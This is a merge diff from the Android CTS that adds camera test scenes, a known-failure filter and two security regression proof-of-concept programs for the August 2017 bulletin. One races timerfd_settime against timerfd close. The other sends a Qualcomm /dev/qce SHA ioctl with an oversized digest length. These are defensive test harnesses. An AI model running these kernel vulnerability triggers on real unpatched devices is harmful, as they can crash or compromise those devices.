Merge "Set an hour timeout per test." into oc-dev
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 99ad113..9024705 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -89,6 +89,7 @@
             add("scene3");
             add("scene4");
             add("scene5");
+            add("sensor_fusion");
         } };
 
     // TODO: cache the following in saved bundle
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0a5209e..c0193a2 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -97,6 +97,9 @@
         <!-- Bulletin 2017-08 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
+        <option name="push" value="Bug-36266767->/data/local/tmp/Bug-36266767" />
+        <option name="push" value="Bug-36591162->/data/local/tmp/Bug-36591162" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
new file mode 100644
index 0000000..2a1edd0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36266767
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/poc.c b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
new file mode 100644
index 0000000..e534054
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
@@ -0,0 +1,72 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/timerfd.h>
+#include <sys/time.h>
+#include <time.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <signal.h>
+
+#define THREAD_NUM    2
+
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int fd;
+struct itimerspec new_value;
+
+void* child_ioctl_0(void* no_use)
+{
+    int ret = 1;
+
+    while(1){
+        timerfd_settime(fd, 0x3, &new_value, NULL);
+        timerfd_settime(fd, 0x0, &new_value, NULL);
+    }
+}
+
+int main(int argc, char *argv[])
+{
+    int i;
+    new_value.it_value.tv_sec = 0;
+    new_value.it_value.tv_nsec = 0;
+    new_value.it_interval.tv_sec = 0;
+    new_value.it_interval.tv_nsec = 0;
+
+    fd = timerfd_create(CLOCK_REALTIME, 0);
+
+    /* create thread */
+    for(i = 0; i < THREAD_NUM; i = i+1) {
+        thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+    }
+
+    while(1) {
+        fd = timerfd_create(CLOCK_REALTIME, 0);
+        usleep(5);
+        close(fd);
+    }
+}
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
new file mode 100644
index 0000000..ee17cb7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36591162
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/poc.c b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
new file mode 100644
index 0000000..33ee5f6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
@@ -0,0 +1,89 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/ioctl.h>
+#include <sys/mount.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <pthread.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+enum qcedev_sha_alg_enum {
+  QCEDEV_ALG_SHA1 = 0,
+  QCEDEV_ALG_SHA256 = 1,
+  QCEDEV_ALG_SHA1_HMAC = 2,
+  QCEDEV_ALG_SHA256_HMAC = 3,
+  QCEDEV_ALG_AES_CMAC = 4,
+  QCEDEV_ALG_SHA_ALG_LAST
+};
+
+struct buf_info {
+  union {
+    uint32_t offset;
+    uint8_t *vaddr;
+  };
+  uint32_t len;
+};
+
+struct qcedev_sha_op_req {
+  struct buf_info data[16];
+  uint32_t entries;
+  uint32_t data_len;
+  uint8_t digest[32];
+  uint32_t diglen;
+  uint8_t *authkey;
+  uint32_t authklen;
+  enum qcedev_sha_alg_enum alg;
+};
+
+#define QCEDEV_IOC_MAGIC 0x87
+
+#define QCEDEV_IOCTL_SHA_INIT_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
+#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
+#define QCEDEV_IOCTL_SHA_FINAL_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 5, struct qcedev_sha_op_req)
+
+void main() {
+  int f = open("/dev/qce", 0);
+
+  struct qcedev_sha_op_req arg;
+  memset(&arg, 0, sizeof(arg));
+  arg.alg = QCEDEV_ALG_AES_CMAC;
+  arg.entries = 1;
+  arg.authklen = 16;
+  char *key = malloc(arg.authklen);
+  arg.authkey = key;
+  arg.data_len = 256;
+
+  arg.data[0].len = arg.data_len;
+  char *data = malloc(arg.data_len);
+  arg.data[0].vaddr = data;
+  int r = ioctl(f, QCEDEV_IOCTL_SHA_INIT_REQ, &arg);
+
+  arg.diglen = 0x8000;
+  r = ioctl(f, QCEDEV_IOCTL_SHA_UPDATE_REQ, &arg);
+  r = ioctl(f, QCEDEV_IOCTL_SHA_FINAL_REQ, &arg);
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
new file mode 100644
index 0000000..5b633f4
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_08 extends SecurityTestCase {
+
+    /**
+     *  b/36266767
+     */
+    @SecurityTest
+    public void testPocBug_36266767() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("Bug-36266767", getDevice(), 60);
+    }
+
+    /**
+     *  b/36591162
+     */
+    @SecurityTest
+    public void testPocBug_36591162() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("Bug-36591162", getDevice(), 60);
+        }
+    }
+}
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index e1c2ed2..02da822 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -227,4 +227,7 @@
     <option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
     <option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
 
+    <!-- b/38280830 -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
+
 </configuration>